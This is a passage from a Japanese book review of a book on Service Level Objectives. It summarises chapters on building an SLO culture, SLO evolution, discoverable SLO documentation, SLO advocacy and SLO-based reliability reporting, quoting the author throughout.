department.」この視点は、SLOが適用できる範囲が想像以上に広いことを示唆しており、SREの実践において重要です。最後に、プラットフォームとしてのサービス(この場合はコンテナプラットフォーム)に対するSLOの設定方法が解説されています。著者は、コンテナの ephemeral な性質を考慮したSLOの設定方法を提案しており、これは複雑な分散システムにおけるSLOの設定の難しさと重要性を示しています。技術的な観点からは、本章で提示されたSLOの例とその設定理由が参考になります。特に、サービス間の依存関係を考慮したSLOの設定方法や、ユーザー体験を直接反映したSLIの選び方は、実際のサービス運用に直接適用できる知見です。また、本章では、SLOの設定が単なる数値目標の設定ではなく、ユーザーのニーズ、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであることが強調されています。著者は次のように述べています:「SLO-based approaches give you a way to find out whether users are happy or not, even if this example doesn\'t fit all of the traditional trappings of the general discussions about SLOs. Always remember that it\'s the philosophies behind these approaches that are the most important, not having the slickest technology to use to perform complicated math against statistically derived SLIs.」この言葉は、SLOの本質が技術的な指標ではなく、ユーザー満足度の向上にあることを再認識させてくれます。本章を読んで、SLOの設定は、単にシステムの技術的な側面を監視することではなく、ユーザー体験とビジネス目標を常に意識しながら、サービス全体の信頼性を管理することだと改めて認識しました。同時に、SLOの適用範囲が想像以上に広いことも学びました。ネットワークサービスだけでなく、デスクトップアプリケーションや内部向けツールなど、あらゆる種類のサービスにSLOを適用できる可能性があることを知り、SREの実践の幅が大きく広がる感覚を得ました。総括すると、この章はSLOベースのアプローチを実際のサービスに適用する具体的な方法を提供しています。複雑な多層サービスにおけるSLOの設定方法、サービス間の依存関係の考慮、異なるユーザータイプに対するSLOの設定など、実践的で有用な知見が盛り込まれています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLOの設定と運用が可能になると確信しています。特に、ユーザージャーニーを中心に据えたSLIの選定と、それに基づくSLOの設定は、多くのプロジェクトで有効に活用できるでしょう。同時に、本章で強調されているSLOの柔軟と進化の必要性も、実務上重要です。サービスの成長に伴い、アーキテクチャや顧客のニーズは変化していきます。そのため、SLOも常に見直し、適応させていく必要があります。今後の課題としては、より複雑な分散システムにおけるEnd-to-EndのSLO管理、マイクロサービスアーキテクチャにおけるサービス間の依存関係を考慮したSLOの自動調整、そしてAIや機械学習を活用したより高度なSLO予測モデルの開発などが考えられます。これらの課題に取り組むことで、SREの実践はさらに進化し、より効果的にビジネス価値を創出できるようになるでしょう。最後に、本章の「A lot of this book has been abstract, since SLO-based approaches are mostly philosophical. You might use a lot of math and numbers to help you gather data, but it\'s ultimately about using this data to engage humans to make decisions.」という言葉を再度強調したいと思います。この視点を持ちつつ、SLOを単なる数値目標ではなく、ユーザー満足度向上とビジネス成功のための戦略的ツールとして活用していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ具体的なSLO設定のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLOの設定と運用は常に進化し続けるプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心とした信頼性管理の文を醸成していくことが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Part III. SLO CulturePart IIIでは、SLO文化の構築と普及に焦点が当てられています。特に印象的だったのは、SLO Advocateの役割に関する章です。著者は、SLO導入の成功には技術的な実装以上のものが必要であり、組織文化の変革と深い理解が不可欠であることを強調しています。SLO Advocateの役割は、単なる技術的なエキスパートではなく、組織の変革者としての側面も持ちます。この役割を通じて、SREはより戦略的な立場に立ち、組織全体の信頼性文化の醸成に大きく貢献することができます。また、SLOの理解しやすさと発見可能性に関する章も有用でした。SLO定義文書の構造化、中央集中型のドキュメント管理、効果的なダッシュボードの設計など、SLOを組織全体で活用するための具体的な方法が詳細に解説されています。この部分から学んだ最も重要な教訓は、SLO文化の構築が継続的なプロセスであり、常に進化し続けるものだということです。技術の進化や組織の変化に応じて、SLOのアプローチも適応していく必要があります。SREとして、この継続的な改善プロセスをリードし、組織全体のアラインメントを図っていくことが重要です。Chapter 13. Building an SLO Culture第13章「Building an SLO Culture」は、SLO(Service Level Objectives)を組織文化に浸透させるための具体的な方法論を提示しています。本章は、SLOの技術的な実装だけでなく、組織全体でSLOを受け入れ、活用していくためのプロセスについて深く掘り下げています。 speakerdeck.com章の冒頭で、著者は次のように述べています:「It\'s one thing to understand and live by these principles yourself, but it\'s another to spread these ideas throughout your organization and get others working alongside you.」この言葉は、SLOの導入が単なる技術的な課題ではなく、組織文化の変革を伴う大きな挑戦であることを端的に表現しています。優れたSLOを設計しても、組織全体がそれを理解し、活用しなければ、その効果は限定的なものになってしまいます。本章で特に印象的だったのは、SLO文化の構築を段階的なプロセスとして捉えている点です。著者は以下の6つのステップを提示しています:賛同を得る(Get buy-in)SLO作業を優先する(Prioritize SLO work)SLOを実装する(Implement your SLOs)SLOを使用する(Use your SLOs)SLOを反復改善する(Iterate on your SLOs)他者にSLOの使用を提唱する(Advocate for others to use SLOs)このアプローチは、SLO導入の複雑さを認識しつつ、段階的に組織文化を変革していく方法を示しています。特に、最初のステップである「賛同を得る」ことの重要性が強調されている点が印象的でした。著者は次のように述べています:「Before anything can happen, people need to be in agreement about the value of SLOs. If your team doesn\'t value reliability, it\'s going to be hard for you to justify creating SLOs.」この指摘は、技術的な実装以前に、組織内でSLOの価値を共有することの重要性を強調しており、SREとして共感できる点でした。SLOの実装に関する部分で、著者は「Do it yourself」と「Assign it」の2つのアプローチを提示しています。これは、SLOの導入を推進する立場にある人間の役割について、重要な示唆を与えています。特に、「Do it yourself」アプローチについて、著者は次のように述べています:「Having read this book, you will likely be the most knowledgeable on the subject and the most driven to make the move to an SLO culture. Leading by example and making the work your priority will signal to others that you\'re committed to making this change.」この視点は、SREとしてSLO導入を推進する際の心構えとして重要だと感じました。SLOの使用に関する部分では、アラート、エラーバジェットの消費、余剰エラーバジェットの活用について詳細に解説されています。特に印象的だったのは、エラーバジェットの消費に関する以下の記述です:「If you find your applications are breaking SLOs and there\'s a lack of urgency to repair the situation, it might be a sign that you need to make some adjustments.」この指摘は、SLOが単なる数値目標ではなく、組織の優先順位を反映すべきものであることを強調しており、SLOの本質を理解する上で重要です。技術的な観点からは、本章ではSLOの実装や運用に関する具体的な方法論が提示されています。例えば、SLOドキュメントの作成、SLIの選定とモニタリングの実装、アラートの設定などについて、実践的なアドバイスが提供されています。これらの知見は、実際にSLOを導入する際に直接活用できる貴重な情報です。本章の結論部分で、著者は次のように述べています:「SLOs are a process, not a project. They won\'t stick overnight, but hopefully the content in this chapter has given you a better sense of how to circle back and iterate on these approaches until things begin to click.」この言葉は、SLO文化の構築が継続的な取り組みであることを強調しており、SREとしての長期的な視点の重要性を再認識させられました。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織内でSLOの価値を共有するためのワークショップや勉強会を定期的に開催する。小規模なプロジェクトからSLOの導入を始め、成功事例を作り出す。SLOの実装と運用のプロセスを文書化し、組織内で共有する。SLOの定期的な見直しと改善のサイクルを確立する。他のチームや部門にSLOの導入を提唱し、組織全体でのSLO文化の構築を目指す。技術的な観点からは、SLOの実装と運用を支援するツールやフレームワークの開発が重要になります。例えば、SLOドキュメントの管理システム、SLIデータの収集と分析のための基盤、エラーバジェットの計算と可視化のためのダッシュボードなどが考えられます。これらのツールを整備することで、SLO文化の定着をより効果的に支援できるでしょう。この章を読んで、SLOの導入は、単に技術的な指標を設定することではなく、組織全体の信頼性に対する考え方を変革することだと改めて認識しました。SREは、この文化変革の推進役として、技術的な知識だけでなく、組織内のコミュニケーションやチェンジマネジメントのスキルも求められることを強く感じました。総括すると、この章はSLO文化の構築に関する包括的かつ実践的なガイドを提供しています。SLOの技術的な側面だけでなく、組織文化の変革という大きな課題に正面から取り組んでり、SREにとって価値のある知見が盛り込まれています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO文化の構築が可能になると確信しています。特に、段階的なアプローチと継続的な改善の重要性は、大規模な組織変革を成功させる上で重要な指針となるでしょう。同時に、SLO文化の構築は長期的な取り組みであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「This chapter should also remind you that at the end of the day, SLOs are about people. Creating a culture of SLOs is about making your users and your team happier.」という言葉を再度強調したいと思います。この視点を持ちつつ、技術的な指標と人間的な側面のバランスを取りながら、組織全体でSLO文化を構築していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだSLO文化構築のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLO文化の構築は常に進化し続けるプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心とした信頼性管理の文化を醸成していくことが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Chapter 14. SLO Evolution第14章「SLO Evolution」は、SLO(Service Level Objectives)の進化と適応の重要性について深く掘り下げています。本章は、SLOが静的なものではなく、サービスの変化に合わせて常に進化し続ける必要があることを強調しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章の冒頭で、著者は次のように述べています:「Service level objectives work best when you\'re willing to let them change and grow as your service does.」この言葉は、SLOの本質が柔軟性と適応性にあることを端的に表現しています。サービスの成長や変化に合わせてSLOを調整することで、より適切な信頼性目標を維持できるからです。本章で特に印象だったのは、SLOの進化を促す様々な要因について詳細に解説している点です。著者は以下のような要因を挙げています:使用状況の変化(Usage Changes)依存関係の変化(Dependency Changes)障害による変化(Failure-Induced Changes)ユーザーの期待と要求の変化(User Expectation and Requirement Changes)ツールの変化(Tooling Changes)直感に基づく変化(Intuition-Based Changes)これらの要因は、SLOの進化が単なる数値の調整ではなく、サービスの全体的な状況を考慮した包括的なプロセスであることを示しています。特に、ユーザーの期待と要求の変化に関する部分が印象的でした。著者は次のように述べています:「The users that depend on your service may experience changes in their expectations over time.」この指摘は、SLOが単なる技術的な指標ではなく、ユーザー体験と密に結びついていることを強調しており、SREとして共感できる点でした。技術的な観点からは、本章では SLO の測定と計算に関する変更について詳細に解説されています。特に、メトリクスシステムの変更やデータの解像度、保持期間の変更がSLOに与える影響について、具体的な例が挙げられています。例えば、著者は次のように述べています「If you\'re using Prometheus to scrape your metrics endpoint for new data every 30 seconds, you\'ll have to revisit how you\'re calculating things if you change this to every 10 seconds or every 3 seconds.」この指摘は、SLOの計算が単純な数式ではなく、データ収集の方法や頻度にも大きく依存することを示しており、SREとして SLO を設計・運用する際の重要な考慮点だと感じました。本章では、SLO の変更プロセスについても詳細に解説されています。特に印象的だったのは、定期的な見直しの重要性を強調している点です。著者は次のように述べています:「In addition to all of what we\'ve covered so far, you also need to have scheduled revisits of your SLOs.」この指摘は、SLO が静的なものではなく、継続的な検証と改善が必要であることを強調しており、SRE の実践において重要な視点だと感じました。また、本章では「誤ったSLOの識別」についても言及されています。著者は、ユーザーの声を継続的に聞くことの重要性や、障害時の SLO の挙動を注視することの重要性を強調しています。これらの指摘は、SLOが単なる数値目標ではなく、ユーザー体験と実際のシステムの挙動を反映すべきものであることを改めて認識させてくれました。本章の結論部分で、著者は次のように述べています:「Service level objectives are exactly what they sound like—they\'re objectives, not agreements. They should be malleable, and they should change over time.」この言葉は、SLO の本質が柔軟性と適応性にあることを再確認させてくれます。SREとして、この視点は重要です。SLO を固定的なものとして扱うのではなく、常に変化し得るものとして捉え、サービスの進化に合わせて適切に調整していく必要があります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:SLO の定期的な見直しプロセスを確立し、組織内で徹底する。サービスの変化(使用状況、依存関係、ユーザーの期待など)を常に監視し、SLO への影響を評価する。障害発生時に SLO の挙動を詳細に分析し、必要に応じて SLO の定義や計算方法を見直す。ユーザーフィードバックを継続的に収集し、SLO に反映させる仕組みを構築する。SLO の変更プロセスを文書化し、組織内で共有する。技術的な観点からは、SLO の進化を支援するツールやフレームワークの開発が重要になります。例えば、以下のようなものが考えられます:SLO の履歴を追跡し、変更の理由や影響を記録するシステムユーザーフィードバックと SLO の相関関係を分析するツール依存関係の変化が SLO に与える影響をシミュレートするツールSLO の変更が他のサービスに与える影響を予測するシステムこれらのツールを整備することで、SLO の進化プロセスをより効果的に管理し、サービスの信頼性向上につなげることができるでしょう。この章を読んで、SLO の管理は、単に数値目標を設定し監視することではなく、サービスの進化に合わせて継続的に SLO を適応させていくプロセスであることを強く認識しました。SRE は、この進化のプロセスを主導し、技術的な側面だけでなく、ビジネスの要求やユーザーの期待も考慮しながら、適切な SLO を維持していく責任があります。総括すると、この章は SLO の進化に関する包括的かつ実践的なガイドを提供しています。SLO が静的なものではなく、サービスの変化に応じて常に進化し続ける必要があることを強調し、その進化のプロセスを詳細に解説しています。SRE にとって、この知見は価値があり、より効果的な信頼性管理の実現につながるものです。SRE として、この章から学んだアプローチを実践することで、より柔軟で効果的な SLO 管理が可能になると確信しています。特に、定期的な見直しプロセスの確立と、ユーザーフィードバックの継続的な収集・反映は、多くのプロジェクトで即座に適用できる有用な知見です。同時に、SLO の進化は継続的なプロセスであることを忘れてはいけません。技術の進化や市場の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「Services evolve over time, which means your SLOs should, too. Use the data they provide you to have better conversations and make better decisions.」という言葉を再度強調したいと思います。この視点を持ちつつ、SLO を静的な目標ではなく、サービスの進化を促進し、より良い意思決定を支援するツールとして活用していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ SLO 進化のアプローチは、SRE の実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLO の進化は常に継続するプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Chapter 15. Discoverable and Understandable SLOs第15章「Discoverable and Understandable SLOs」は、SLO(Service Level Objectives)の理解しやすさと発見可能性の重要性に焦点を当てています。本章は、SLOを組織全体で効果的に活用するためには、それらが容易に理解でき、かつ必要な時に迅速に見つけられることが不可欠であることを強調しています。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon章の冒頭で、著者は次のように述べています:「An SLO-based approach to reliability works best when everyone is on the same page.」この言葉は、SLOの成功が組織全体の共通理解に依存していることを端的に表現しています。この視点は重要だと感じました。SLOが技術チームだけでなく、ビジネス側の人々にも理解され、活用されることで、より効果的な信頼性管理が可能になるからです。本章で特に印象的だったのは、SLO定義文書の重要性とその構成要素についての詳細な解説です。著者は、SLO定義文書に含めるべき要素として以下を挙げています:オーナーシップ承認者定義のステータスサービス概要SLO定義とステータス根拠レビュースケジュールエラーバジェットポリシー外部リンクこれらの要素を含めることで、SLO定義文書は単なる技術的な指標の記録ではなく、サービスの信頼性に関する包括的な情報源となります。特に、オーナーシップと承認者の明確化は、SLOの管理責任を明確にし、組織全体での合意形成を促進する上で重要だと感じました。また、本章では SLO の発見可能性を高めるための方法についても詳しく解説されています。著者は、中央集中型のドキュメントリポジトリの重要性を強調し、Wikiシステムやドキュメントのコード化(Documentation-as-code)などの具体的な方法を提案しています。特印象的だったのは、ドキュメントの自動スキャンと集約を行うカスタムツールの開発に関する提案です。これは、SLO定義の最新性を保ち、組織全体での可視性を高める上で効果的なアプローチだと感じました。技術的な観点からは、本章のダッシュボードに関する解説が有用でした。著者は、効果的なSLOダッシュボードに含めるべき要素として以下を挙げています:現在のステータスSLI違反のグラフバーンダウングラフエラーバジェットのステータスSLO定義文書へのリンク本章の結論部分で、著者は次のように述べています:「Reliability requires people to know what\'s going on, and SLOs provide a clear, customer-centric picture that speaks a thousand words.」この言葉は、SLOの本質が単なる技術的な指標ではなく、組織全体で共有される信頼性に関する共通言語であることを強調しています。SREとして、この視点は重要です。SLOを技術チームだけのものではなく、組織全体で活用される道具として位置づけることで、より効果的な信頼性管理が可能になります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織全体で統一されたSLO定義文書のテンプレートを作成し、導入する。SLO定義文書を集中管理するためのリポジトリを構築し、組織内での可視性を高める。SLO定義文書の自動スキャンと集約を行うツールを開発し、定義の最新性と一貫性を保つSLOステータスを可視化するダッシュボードを設計し、組織全体で共有する。SLOレポートの定期的な配信や会議での共有を通じて、SLOの認知度と理解度を高める。技術的な観点からは、本章で提案されているドキュメント管理やダッシュボード構築のアプローチを実装するための具体的な方法を検討する必要があります。例えば、以下のような技術的な課題に取り組む必要があるでしょう:ドキュメントのコード化(Documentation-as-code)を実現するためのツールチェインの構築SLO定義文書の自動スキャンと集約を行うスクリプトやアプリケーションの開発リアルタイムでSLOステータスを可視化するダッシュボードの設計と実装SLO定義文書とモニタリングシステムを連携させるAPIの開発これらの技術的な取り組みを通じて、SLOの理解しやすと発見可能性を高め、組織全体でのSLOの効果的な活用を促進することができます。この章を読んで、SLOの管理は単なる技術的な指標の設定と監視ではなく、組織全体での共通理解を促進し、信頼性に関する意思決定を支援するものだと再認識しました。SREは、SLOの理解しやすさと発見可能性を高めるためのインフラストラクチャとプロセスを構築・維持する重要な役割を担っています。この章は、SLOの理解しやすさと発見可能性に関する包括的かつ実践的なガイドを提供しています。具体的には:SLO定義文書の構造化中央集中型のドキュメント管理効果的なダッシュボードの設計これらの方法は、SLOを組織全体で活用するための具体的なアプローチとして詳細に解説されています。SREとして、これらのアプローチを実践することで、SLOをより組織に浸透させ、効果的に活用することが可能になります。特に、SLO定義文書の標準化とその中央管理、そしてリアルタイムのダッシュボード提供は、多くの組織で即座に適用できる有用な施策です。同時に、SLOの理解しやすさと発見可能性の向上は継続的なプロセスであることを認識することが重要です。組織の成長や技術の進化に応じて、常にアプローチを見直し、改善していく必要があります。本章の「SLOs provide a clear, customer-centric picture that speaks a thousand words.」という言葉は、SLOの本質を捉えています。SLOを組織全体で共有される信頼性の共通言語として位置づけ、継続的に改善していくことがSREの重要な役割です。これらの概念と手法を日々の業務に積極的に取り入れることで、より効果的な信頼性管理と組織全体での信頼性文化の醸成に貢献できます。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながるでしょう。Chapter 16. SLO Advocacy第16章「SLO Advocacy」は、SLO(Service Level Objectives)の導入と普及を組織全体で推進するためのアプローチについて詳細に解説しています。本章は、SLO導入の成功には単なる技術的な実装以上のものが必要であり、組織文化の変革と深い理解が不可欠であることを強調しています。スタッフエンジニア マネジメントを超えるリーダーシップ作者:Will Larson日経BPAmazon著者は、SLO Advocateの役割を「組織が成功裏にSLOを実装するのを支援すること」と定義し、この役割には深い技術的知識だけでなく、リーダーシップスキルや組織全体とのコミュニケーション能力が求められることを指摘しています。特に印象的だったのは、「あなたの人間関係スキルとリーダーシップスキルは、の旅の中で極めて重要になるでしょう。あなたは自分のビジョンを他者に納得させ、彼らに必要な知識を教え、前向きなエネルギーを生み出して彼らを鼓舞し、SLO採用の成功を推進する必要があります」という一節です。この言葉は、SLO導入が単なる技術的な課題ではなく、組織全体の文化と意識の変革を必要とする大きな挑戦であることを端的に表現しています。本章は、SLO導入のプロセスを「Crawl(這う)」「Walk(歩く)」「Run(走る)」の3つのフェーズに分けて説明しています。この段階的なアプローチは、大規模な組織変革を成功させるための効果的な戦略です。Crawlフェーズでは、SLO Advocateとしての基盤作りに焦点を当てています。このフェーズでは、自己学習、支援アーティファクトの作成、組織内のリーダーやチームとの連携、最初トレーニングセッションの実施などが含まれます。特に重要なのは、SLOの「セールスピッチ」の準備です。著者は、「エレベーターで会社のCEOに会ったとき、彼らの注目を数秒しか得られないとしたら、あなたは何を言いますか?」という質問を投げかけ、異なる聴衆に対してSLOの価値を簡潔に説明できることの重要性を強調しています。技術的な観点からは、Crawlフェーズでのドキュメントの重要性が強調されています。著者は、1ページの戦略文書、SLOの高レベルな定義、FAQ、SLO定義のステップバイステップガイド、SLI収集のための計装ガイド、ユースケースなど、様々な文書の作成を推奨しています。これらのドキュメントは、組織全体でSLOの理解を深め、実装を促進する上で重要な役割を果たします。Walkフェーズでは、SLO導入の範囲を拡大し、より多くのチームを巻き込んでいきます。このフェーズでは、早期採用者との協力、成功事例の共有、トレーニングプログラムの拡大、コミュニケーション方法の改善などが重要になります。著者は、「サービスは時間とともに進化するもので、SLOも同様です。SLOが提供するデータを活用して、より良い対話を行い、より良い決定を下しましょう」と述べ、SLOが静的なものではなく、サービスの進化に合わせて継続的に調整されるべきものであることを強調しています。技術的には、Walkフェーズでのケーススタディライブラリの作成が重要です。著者は、「様々なサービスタイプのSLO実装例を持つことで、多くのチームを支援できるでしょう」と述べています。これは、異なるタイプのサービス(リクエスト/レスポンス、パイプライン、継続的計算など)に対するSLO実装の具体的な例を提供することで、他のチームがSLO導入を進める際の参考になることを示唆しています。Runフェーズでは、SLO実装が組織全体に広がり、すべてのチームがある程度のSLO成熟度に達している状態を想定しています。このフェーズでの主な活動には、ケーススタディライブラリの共有、SLOエキスパートのコミュニティ作成、プラットフォームの改善、アドボカシープロセスの改善などが含まれます。著者は、「SLOの定義と実装は、信頼性を向上させるための最初のステップにすぎません。ゲームチェンジャーは、実際にSLOをエンジニアリングプラクティスの一部として使用し、サービスの品質と運用の卓越性を推進することです」と強調しています。技術的な観点からは、Runフェーズでの継続的な改善の要性が強調されています。著者は、プラットフォームレベルの改善、定期的なSLOレビュー、サービス品質レビュー、SLO実装プロセスのディープダイブなど、様々な改善活動を提案しています。これらの活動は、SLOの効果を最大化し、組織全体の信頼性文化を強化するために不可欠です。本章の結論部分で、著者は次のように述べています:「進歩は変化なしには不可能であり、自分の考えを変えられない人は何も変えることができません」この言葉は、SLO Advocateの役割が単にSLOを実装することではなく、組織全体の文化を変革することであることを再確認させてくれます。SREとしてこの章から学んだ最も重要な教訓は、SLO導入の成功には技術的な実装以上のものが必要だということです。組織文化の変革、効果的なコミュニケーション、継続的な学と改善が不可欠です。また、SLO Advocateの役割が、技術的なエキスパートであると同時に、変革のリーダーでもあることを強く認識しました。この章の内容を実践に移すためには、以下のようなアプローチが考えられます:組織内でSLOの価値を共有するためのワークショップや勉強会を定期的に開催する。SLO導入のための包括的なドキュメントを作成し、組織全体で共有する。早期採用者との協力を通じて、様々なサービスタイプのSLO実装例(ケーススタディ)を作成し、ライブラリ化する。SLOトレーニングプログラムを確立し、他のトレーナーを育成して規模を拡大する。SLOエキスパートのコミュニティを構築し、組織全体でのSLO導入を支援する体制を整える。定期的なSLOレビューとサービス品質レビューを実施し、継続的改善を図る。技術的な観点からは、SLO実装を支援するためのツールやフレームワークの開発が重要になります。例えば、以下のようなものが考えられます:SLO定義とSLI収集を自動化するツールリアルタイムでSLOの状態を可視化するダッシュボードSLOベースのアラート設定を容易にするシステムSLOデータを分析し、改善提案を生成する機械学習モデルこれらのツールを整備することで、SLO導入のプロセスを効率化し、組織全体での採用を加速することができるでしょう。この章はSLO Advocateの役割と責任について包括的かつ実践的なガイダンスを提供しています。SLO導入と管理の成功には、技術的な知識だけでなく、組織全体を巻き込み、文化を変革する能力が必要であることが明確に示されています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO導入が可能になり、組織全体のパフォーマンス向上につながると確信しています。特に重要な点は:段階的なアプローチ(Crawl, Walk, Run)継続的な改善と適応SLOを組織全体で共有される信頼性の共通言語として位置づけること本章の「SLOは、ユーザー中心の明確な全体像を提供し、千の言葉を語るものです」という言葉は、SLOの本質を捉えています。SLO Advocateの役割は、技術的なエキスパートであると同時に、組織の変革者でもある点でやりがいがあります。この役割を通じて、SREはより戦略的な立場に立ち、組織全体の信頼性文化の醸成に大きく貢献できます。この役割には技術的スキルだけでなく、コミュニケーション能力やリーダーシップスキルの向上も求められます。最後に、SLOを中心とした信頼性管理の文化を醸成することが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながります。これらの概念と手法を日々の業務に積極的に取り入れ、常に学習し適応していくことが、SREとしての私たちの重要な役割です。Chapter 17. Reliability Reporting第17章「Reliability Reporting」は、SLO(Service Level Objectives)を用いた信頼性報告の重要性と方法について深く掘り下げています。本章は、従来の信頼性報告手法の問題点を指摘し、SLOベースのアプローチがいかにそれらの問題を解決し、より効果的なシステム運用を可能にするかを詳細に解説しています。ユーザーの問題解決とプロダクトの成功を導く エンジニアのためのドキュメントライティング作者:ジャレッド・バーティ,ザッカリー・サラ・コーライセン,ジェン・ランボーン,デービッド・ヌーニェス,ハイディ・ウォーターハウス日本能率協会マネジメントセンターAmazon章の冒頭で、著者は次のように述べています:「SLOは根本的に、より良い議論を行い、したがって(願わくば!)より良い決定を下すためのデータを提供する手段です」この言葉は、SLOの本質が単なる技術的な指標ではなく、意思決定プロセスを改善するためのツールであることを端的に表現しています。この視点は重要だと感じました。多くの組織では、技術的な指標に囚われすぎて、ユーザー体験や事業目標との関連性を見失いがちです。SLOは、技術とビジネスのギャップを埋める強力なツールとなり得ます。syu-m-5151.hatenablog.com本章で特に印象的だったのは、従来の信頼性報告手法の問題点についての詳細な分析です。著者は、インシデント数のカウント、重大度レベルの設定、Mean Time to X(MTTX)などの従来のアプローチが、実際のユーザー体験を正確に反映していないことを指摘しています。例えば、MTTXに関して著者は次のように述べています:「複雑なシステムは一般的に、毎回異なる要因や寄与因子を持つユニークな方法で故障します」この指摘は、インシデントの一律な分類や平均値による評価が、実際のシステムの複雑さを捉えきれないことを明確に示しています。技術的な観点から特に興味深かったのは、分散型サービス拒否(DDoS)攻撃の例を用いた従来の報告手法の限界の説明です。著者は、同じタイプの攻撃であっても、攻撃者の動機、使用される技術、標的となるエンドポイント、トラフィックパターンなどが異なり、それぞれのインシデントが本質的に一意であることを強調しています。この例は、インシデントを単純にカウントしたり、重大度レベルに分類したりするアプローチの限界を明確に示しています。本章では、SLOベースのアプローチがこれらの問題をどのように解決するかについても詳細に解説されています。著者は、エラーバジェットの概念を用いることで、ユーザーが実際に経験した信頼性の低下を正確に捉えられることを示しています。例えば、20分間のインシデントが20回発生した四半期と、3時間の単一インシデントが発生した四半期を比較した場合、MTTXアプローチでは後者の方が深刻に見えますが、エラーバジェットを用いると前者の方がユーザーにとって実際には大きな影響があったことが明確になります。Figure 17-1. A dashboard showing the burndown of a service operating unreliably より引用Figure 17-1では、信頼性の「バーンダウン」を示すダッシュボードの例が提示されています。このようなビジュアル化は、サービスの現在の状態と傾向を一目で理解するのに有効です。著者は、「人間は視覚的なデータからパターンを見つけるのが得意です」と述べており、適切に設計されたダッシュボードが、アラートシステムが検知する前に問題を発見するのに役立つことを強調しています。本章の結論部分で、著者は次のように述べています:「SLOは、ユーザーの視点から物事を測定し、同時にあなたの同僚をより幸せにする方法です。これらの議論を適切に行うためには、自分の状態を適切に報告できることが恐らく最も重要な部分です」この言葉は、SLOが単なる技術的な指標ではなく、組織全体のコミュニケーションと意思決定を改善するためのツールであることを再確認させてくれます。SREとして、この章から学んだ最も重要な教訓は、信頼性報告が単なる数値の報告ではなく、ユーザー体験とビジネス目標に直結した意味のある情報を提供するべきだということです。SLOとエラーバジェットを用いることで、技術チーム、経営陣、そして顧客との間で、サービスの信頼性に関するより建設的な対話が可能になります。この章の内容を実践に移すためには、以下のようなアプローチが考えられます:既存の信頼性報告手法を見直し、SLOベースのアプローチへの移行計画を立てる。ユーザー体験を正確に反映するSLIとSLOを設定し、それに基づいたエラーバジェットを定義する。リアルタイムでSLOの状態とエラーバジェットの消費状況を可視化するダッシュボードを構築する。SLOとエラーバジェットの状況を定期的にレビューし、サービス改善の優先順位付けに活用する。技術チーム、経営陣、顧客それぞれに適した形で信頼性レポートを作成、定期的に共有する。技術的な観点からは、SLOとエラーバジェットの計算と可視化を自動化するシステムの構築が重要になります。例えば、以下のようなものが考えられます:リアルタイムでSLIを収集し、SLOの達成状況を計算するデータパイプラインエラーバジェットの消費状況をモニタリングし、アラートを発する仕組み過去のSLO達成状況とエラーバジェット消費のトレンドを分析するツール各種ステークホルダー向けにカスタマイズされた信頼性レポートを自動生成するシステムこれらのツールを整備することで、より効率的かつ効果的な信頼性報告が可能になり、サービスの継続的な改善につながるでしょう。本章は、SLOベースの信頼性報告に関する包括的かつ実践的なガイドを提供し、従来の報告手法の限界を明確に示すとともに、SLOとエラーバジェットを用いたアプローチがそれらの問題をいかに解決するかを具体的に解説しています。SREとして、このアプローチを実践することで、ユーザー体験を中心に据えたSLOの設定とエラーバジェットの管理を通じて、より効果的な信頼性管理と報告が可能になります。しかし、この導入には組織文化の変革を伴う大きな挑戦があり、全てのステークホルダーがその価値を理解し活用できるようになるまでには時間を要します。本章の「完璧である必要はありません」という言葉は、SREとしての重要な視点を提供しており、この考えを持ちつつSLOを通じてサービスの信頼性と組織全体の満足度を継続的に向上させていくことが私たちの役割です。SLOベースの信頼性報告は、単なる技術的指標の報告ではなく、組織全体のコミュニケーションと意思決定を改善する強力なツールであり、適切に実装・活用されれば、技術チーム、経営陣、顧客間の共通言語となり、より信頼性の高いシステム構築とユーザーへの価値提供につながります。この新しいアプローチを日々の業務に積極的に取り入れ、ユーザー体験を重視しつつ技術的指標とビジネス目標のバランスを取りながら、継続的に学習し適応していくことで、長期的にはユーザー満足度の